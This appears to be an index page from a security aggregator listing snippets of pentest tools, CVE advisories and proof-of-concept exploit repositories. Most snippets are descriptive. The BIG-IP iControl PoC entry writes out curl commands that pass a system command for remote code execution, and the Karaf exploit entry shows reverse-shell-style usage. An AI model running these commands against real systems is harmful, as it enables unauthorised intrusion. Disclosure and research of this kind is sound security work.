mhf

Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform. How work? The tool searches for fil...

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc

Blackcat-cms-v1.2-xss-POC-by-Provensec-llc BlackCat-CMS-Bundle-v1.2 Cross Site Scripting XSS Número CVE asignado: CVE-2017-9609...

CVE-2026-43813

CVE-2026-43813 — Bypass de enforceEnvironment en CloudAttestation Análisis de ingeniería inversa del fallo de validación de entrada de la atestación PCC que Apple distribuyó en iOS 26.6, encontrado en CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter lee el byte...

CVE-2022-20474

Análisis de CVE-2022-20474 — Bundle auto-modificado en modo LazyValue Prefacio Nota: antes de leer este artículo, debería tener una comprensión básica de las vulnerabilidades relacionadas con Bundle Mismatch. Si aún no ha leído los siguientes materiales de referencia, se recomienda hacerlo primer...

Cross-Site-Scripting-Reflected-XSS-Vulnerability-in-blackcatcms_v1.3

Cross-Site-Scripting-Reflejado-XSS-Vulnerabilidad-en-blackcatcmsv1.3 BlackCat-CMS-Bundle-v1.3 Cross Site ScriptingXSS Número CVE asignado: CVE-2018-10821 https://github.com/BlackCatDevelopment/BlackCatCMS/issues/384...

CVE-2026-90783

MKVToolNix through 101.0 contains a heap buffer overflow in the bundled avilib library's ODML superindex parser due to integer wraparound in 32-bit arithmetic. Attackers can craft a malicious AVI file with oversized entry counts that cause an undersized heap allocation, allowing a heap buffer...

CVE-2021-22986-Poc

CVE-2021-22986-Poc This is a Poc for BIGIP iControl unauth RCE POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

IntRec-Pack

IntRec-Pack Instalador de paquete/lote de Inteligencia y Reconocimiento. IntRec-Pack es un script Bash diseñado para descargar, instalar e implementar varias herramientas de OSINT, Reconocimiento e Inteligencia de Amenazas de calidad. Debido a que también gestiona la instalación de las diversas...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

offsec-karaf-exploits

Exploits de Apache Karaf para OffSec Uso: root@kitploit: python exploit.py --help Ejemplo: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Reconstruir el Payload Configurar el Framework Felix 1. Crea el directorio lib...

rauc-1.5-integration

Integración de RAUC 1.5 Este repositorio contiene ejemplos para simplificar la integración de la actualización RAUC en proyectos existentes. Puede suscribirse a https://github.com/rauc/rauc-1.5-integration/issues/1 para recibir notificaciones de actualizaciones importantes de este repositorio y d...

CVE-2026-75584

ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock function in bpsecutil.c passes bundle-payload.length to zcoclone without...

CVE-2026-75584

ION-DTN before 4.2.1-a.1 contains a denial-of-service vulnerability in the canonicalizePayloadBlock() function in bpsec_util.c . The function passes bundle->payload.length to zco_clone() without validating it against zero. An unauthenticated remote attacker can send a BPv7 bundle with a zero-l...

CVE-2026-75584 ION-DTN < 4.2.1-a.1 Denial of Service via canonicalizePayloadBlock() Assertion

ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock function in bpsecutil.c passes bundle-payload.length to zcoclone without...

EUVD-2026-75456

ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock function in bpsecutil.c passes bundle-payload.length to zcoclone without...

wix-kickstartx-challenge-writeup

Wix KickstartX Challenge 2026 — Writeup completo Resultado: 200/200 100% — Token: WKX-9245FA70-200 Fecha: 24 de marzo de 2026 1. Descubrimiento y reconocimiento El anuncio del desafío Una publicación de LinkedIn anunció un desafío especial para Wix KickstartX, un programa para desarrolladores...

TheLastBundleMismatch

Mysterious patch Let's start this time with the patch that appeared as fix for CVE-2023-45777 in Android Security Bulletin: root@kitploit: diff --git a/services/core/java/com/android/server/accounts/AccountManagerService.java...

nifi-CVE-2026-39816-poc

Apache NiFi CVE-2026-39816 POC Demostración de prueba de concepto para CVE-2026-39816, una omisión del permiso EXECUTECODE en Apache NiFi 2.8.0 que permite a un diseñador de flujos al que se le han denegado deliberadamente los privilegios de ejecución de código ejecutar Groovy arbitrario en la JV...

PT-2026-89421

ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock function in bpsec util.c passes bundle-payload.length to zco clone without...

code-shield

protocol-remediator Es un MVP que normaliza los hallazgos de vulnerabilidades en código C/C++ de protocolos y plataformas como evidencia reproducible, y valida parches candidatos en una copia aislada. code-shield era un nombre de trabajo con riesgo de colisión, por lo que se usó un nombre interno...